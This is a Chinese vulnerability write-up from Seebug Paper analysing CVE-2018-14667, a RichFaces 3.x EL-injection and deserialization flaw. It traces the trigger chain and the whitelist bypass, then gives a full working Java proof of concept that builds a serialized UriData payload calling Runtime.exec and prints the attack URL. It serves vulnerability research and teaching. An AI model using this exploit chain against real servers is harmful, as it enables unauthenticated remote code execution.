作者:lucifaer
作者博客:https://www.lucifaer.com/

刚开始分析Java的漏洞,很多东西感觉还是有待学习…

0x00 漏洞描述

The RichFaces Framework 3.X through 3.3.4 is vulnerable to Expression Language (EL) injection via the UserResource resource. A remote, unauthenticated attacker could exploit this to execute arbitrary code using a chain of java serialized objects via org.ajax4jsf.resource.UserResource$UriData.

根据漏洞描述,可以得知是通过UserResource注入EL表达式而造成的rce。而未经身份验证的攻击者可以通过org.ajax4jsf.resource.UserResource$UriData的反序列化利用链,完成rce。

0x01 整体触发流程

MediaOutputRenderer$doEncodeBegin:54 
# 触发createUserResource方法,将序列化内容写到Map映射中
BaseFilter$doFilter
  InternetResourceService$serviceResource:101 # 根据resourceKey获取资源
    ResourceBuilderImpl$getResourceForKey:217 # 从Map映射中利用键值获取序列化内容
  InternetResourceService$serviceResource:106 # 根据resourceKey获取资源
    ResourceBuilderImpl$getResourceDataForKey:227 # 白名单过滤,反序列化
  InternetResourceService$serviceResource:115 # 触发反序列化方法
    UserResource$getLastModified:73 # 可被触发的反序列化方法之一
        ValueExpression$getValue:4 # 执行el表达式

0x02 漏洞分析

2.1 UserResource

官方给的描述是通过UserResource类进行EL表达式注入的,全局搜一下UserResource这个类,定位到org.ajax4jsf.resource.UserResource。同样官方说可以用UriData进行反序列化利用链的构造,简单看了一下,需要注意的以下三个方法:

  • send()
  • getLastModified()
  • getExpired()

以上三个方法流程大致相同,挑了getLastModified跟一下:

img

可以看出能利用UriData执行EL表达式。跟一下UriData是从哪里来的:

img

无论怎样最后会获得一个对象,继续跟一下:

img

getter/setter方法获值,跟进一下是什么地方赋值的,在org.ajax4jsf.resource.ResourceContext$serviceResource

img

img

可以清楚的看出,在

resourceContext.setResourceData(resourceDataForKey);

这里完成了set方法。我们现在跟一下上面的流成,看看resourceContext具体是一个什么东西。

2.2 InternetResourceService

首先跟一下getResourceDataForKey:

img

根据继承关系可以看到是在ResourceBuilderImpl中实现的:

img

首先对resourceDataForKey进行了字符串截取,之后将字符串进行解密,最后调用了LookAheadObjectInputStream,我们跟一下这个类有什么作用:

img

可以看到这个类重写了resolveClass方法,也就是说在加载过程中会调用到这个resolveClass方法,并连接到指定的类。在其中有一个this.isClassValid(desc.getName())实现了白名单检测:

img

可以看到调用了class.isAssignableFrom校验反序列化的类,也就是说如果反序列化的类是白名单中类的子类或者接口是可以通过该项校验的。向下看一下,可以发现whitelistBaseClasses是从resource-serialization.properties中加载的:

img

UserResource恰好是InternetResource的子类,UserResource$UriDataSerializableResource的子类:

img

img

img

所以满足反序列化白名单的要求。

反过头来看一下之前的字符串解密过程:

img

img

Coded中的dnull,也就是说这个解密过程为

base64decode -> zip解密

现在反序列化流程是我们可以控制的,我们回头看一下组成resourceContext的另一部分resource的生成过程:

img

img

首先对url进行了截取,之后通过键值关系在Map映射中获取资源。看一下在哪里对Map进行的填充:

img

img

img

可以看到首先根据生成的path去获取userResource,获取不到的话就new一个,然后加入到resources Map中,也就是说只要我们找到哪里调用了createUserResource就可以控制source的值。

查看createUserResource的调用点时发现只有MediaOutputRenderer$doEncodeBegin调用了该方法。

2.3 MediaOutputRenderer

img

看一下MediaOutputRenderer的处理逻辑,首先创建了userResource,然后调用了getter的方法获取userResourceUri,之后将Uri放到了ResponseWriter中,我们看一下最后这个ResponseWriter最后干了什么:

img

将会把URL打印到页面上。

现在我们看一下getUri的处理过程:

img

img

调用到了UserResource$getDataToStore

img

可以看到主要完成的工作就是将MediaOutputRenderercomponent参数(从代码中可以看出是从标签字段中获得的值)中的一些值提取出来赋值到UriData对象中,最后返回UriData对象。

继续跟进一下getUri

img

可以看到storeData就是UriData对象,将其序列化后经过encrypt加密后返回到resourceURL中。回看一下反序列化过程:

img

img

也就是我们只需要构造/DATA/后的数据就好,/DATA/前半段的数据是可以从url中获取的:

img

至此整个RCE的流程就分析完了。

0x03 构造POC

梳理整理整个的触发流程,发现该漏洞可执行getLastModifiedgetExpiredsend这三个方法,完成EL表达式的执行,但是他们的触发条件是不同的:

  • resource.isCacheabletrue触发getLastModifiedgetExpired
  • resource.isCacheablefalse触发getLastModifiedsend

这里解释一下为什么在resource.isCacheablefalse时还会触发getLastModified,调用栈如下:

InternetResourceService$serviceResource:152 # 进入else处理环节
  ResourceLifecycle$send:37 # 无论如何都会调用sendResource方法
  ResourceLifecycle$send:117 # resource.sendHeaders触发getLastModified方法,send触发send方法。

可以看到最稳定的触发点就是getLastModified,接下来的poc也以这个稳定触发点为例。根据在0x01中已经提及的流程,逆向的生成UriData,序列化,加密,即可。

3.1 选择反射生成的对象

根据tint0的文章,选择使用javax.faces.component.StateHolderSaver来作为反射生成的对象,也就是modified对象,使用这个对象的原因是因为这个对象在反序列化失败时可以返回一个null对象,最后应用会返回一个200状态码,而当反序列化成功时,就尝试将状态对象转换成一个数组,如果失败时会抛出一个Richface无法捕捉的异常,应用最后返回一个500状态码。利用状态码的不同,可以判断我们的反序列化过程是否成功执行。

String pocEL = "#{request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"open /Applications/Calculator.app\")}";
// 根据文章https://www.anquanke.com/post/id/160338
Class cls = Class.forName("javax.faces.component.StateHolderSaver");
Constructor ct = cls.getDeclaredConstructor(FacesContext.class, Object.class);
ct.setAccessible(true);

Location location = new Location("", 0, 0);

3.2 生成UriData

主要点在于构造UriData中的modified字段。首先整理生成modified所需要的几个条件:

  1. Date类的对象
  2. 生成该对象时需要调用一个ValueExpression类的getValue

跟一下getValue

img

根据继承类来看,右边框内的类都是我们可以利用的,以TagValueExpression举例:

img

img

可以看到需要另外一个ValueExpression类,并且调用其getValue的方法。

我们首先看该构造函数的第一个需要构造的参数attr

img

该类的构造函数为:

img

可以看到关键点在于将我们的EL表达式构造到value处,其他的参数可以为空。

接着看第二个需要构造的参数orig,这里我们调用另一个ValueExpressionImpl类来构造这个orig参数:

img

img

跟一下getNodegetValue

img

下个断动态调一下,发现应如此构造expr:

pocEL+" modified"

其他的参数可以为空。这样我们就可以构造一个完整的TagValueExpression类,这个类可以执行我们的EL表达式。

// 1. 设置UriData
//    设置UriData.value
Object value = "cve-2018-14667";
//    设置UriData.createContent
Object createContent = "cve-2018-14667";
//    设置UriData.expires
Object expires = "cve-2018-14667";
//    设置UriData.modified
TagAttribute tag = new TagAttribute(location, "", "", "poc", "modified="+pocEL);
ValueExpressionImpl valueExpression = new ValueExpressionImpl(pocEL+" modified", null, null, null, Date.class);
TagValueExpression tagValueExpression = new TagValueExpression(tag, valueExpression);
Object modified = ct.newInstance(null, tagValueExpression);

3.3 序列化

之后的步骤就是利用反射构造一个UriData,并进行初始化,同时执行序列化:

UserResource.UriData uriData = new UserResource.UriData();

Field valueField = uriData.getClass().getDeclaredField("value");
valueField.setAccessible(true);
valueField.set(uriData, value);

Field createContentField = uriData.getClass().getDeclaredField("createContent");
createContentField.setAccessible(true);
createContentField.set(uriData, createContent);

Field expiresField = uriData.getClass().getDeclaredField("expires");
expiresField.setAccessible(true);
expiresField.set(uriData, expires);

Field modifiedField = uriData.getClass().getDeclaredField("modified");
modifiedField.setAccessible(true);
modifiedField.set(uriData, modified);

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(uriData);
objectOutputStream.flush();
objectOutputStream.close();
byteArrayOutputStream.close();

3.4 加密

可以直接复制ResourceBuilderImpl$encrypt的加密函数,就在decrypt的上面:

byte[] pocData = byteArrayOutputStream.toByteArray();
Deflater compressor = new Deflater(1);
byte[] compressed = new byte[pocData.length + 100];
compressor.setInput(pocData);
compressor.finish();
int totalOut = compressor.deflate(compressed);
byte[] zipsrc = new byte[totalOut];
System.arraycopy(compressed, 0, zipsrc, 0, totalOut);
compressor.end();
byte[]dataArray = URL64Codec.encodeBase64(zipsrc);

这里要注意一下顺序,在反序列化前,解密的顺序为base64+zip,那么加密过程就需要zip+base64。

完整版POC

import com.sun.facelets.el.TagValueExpression;
import com.sun.facelets.tag.TagAttribute;
import com.sun.facelets.tag.Location;
import org.ajax4jsf.util.base64.URL64Codec;
import org.jboss.el.ValueExpressionImpl;
import org.ajax4jsf.resource.UserResource;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Date;
import java.util.zip.Deflater;

import javax.faces.context.FacesContext;

public class poc {
    public static void main(String[] args) throws Exception{
        String pocEL = "#{request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"open /Applications/Calculator.app\")}";
        // 根据文章https://www.anquanke.com/post/id/160338
        Class cls = Class.forName("javax.faces.component.StateHolderSaver");
        Constructor ct = cls.getDeclaredConstructor(FacesContext.class, Object.class);
        ct.setAccessible(true);

        Location location = new Location("", 0, 0);

        // 1. 设置UriData
        //    设置UriData.value
        Object value = "cve-2018-14667";
        //    设置UriData.createContent
        Object createContent = "cve-2018-14667";
        //    设置UriData.expires
        Object expires = "cve-2018-14667";
        //    设置UriData.modified
        TagAttribute tag = new TagAttribute(location, "", "", "poc", "modified="+pocEL);
        ValueExpressionImpl valueExpression = new ValueExpressionImpl(pocEL+" modified", null, null, null, Date.class);
        TagValueExpression tagValueExpression = new TagValueExpression(tag, valueExpression);
        Object modified = ct.newInstance(null, tagValueExpression);

        // 2. 序列化
        UserResource.UriData uriData = new UserResource.UriData();

        Field valueField = uriData.getClass().getDeclaredField("value");
        valueField.setAccessible(true);
        valueField.set(uriData, value);

        Field createContentField = uriData.getClass().getDeclaredField("createContent");
        createContentField.setAccessible(true);
        createContentField.set(uriData, createContent);

        Field expiresField = uriData.getClass().getDeclaredField("expires");
        expiresField.setAccessible(true);
        expiresField.set(uriData, expires);

        Field modifiedField = uriData.getClass().getDeclaredField("modified");
        modifiedField.setAccessible(true);
        modifiedField.set(uriData, modified);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(uriData);
        objectOutputStream.flush();
        objectOutputStream.close();
        byteArrayOutputStream.close();

        // 3. 加密(zip+base64
        //
        byte[] pocData = byteArrayOutputStream.toByteArray();
        Deflater compressor = new Deflater(1);
        byte[] compressed = new byte[pocData.length + 100];
        compressor.setInput(pocData);
        compressor.finish();
        int totalOut = compressor.deflate(compressed);
        byte[] zipsrc = new byte[totalOut];
        System.arraycopy(compressed, 0, zipsrc, 0, totalOut);
        compressor.end();
        byte[]dataArray = URL64Codec.encodeBase64(zipsrc);

        // 4. 打印最后的poc
        String poc = "/DATA/" + new String(dataArray, "ISO-8859-1") + ".jsf";
        System.out.println(poc);
    }
}

效果:

img

0x04 Reference


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/765/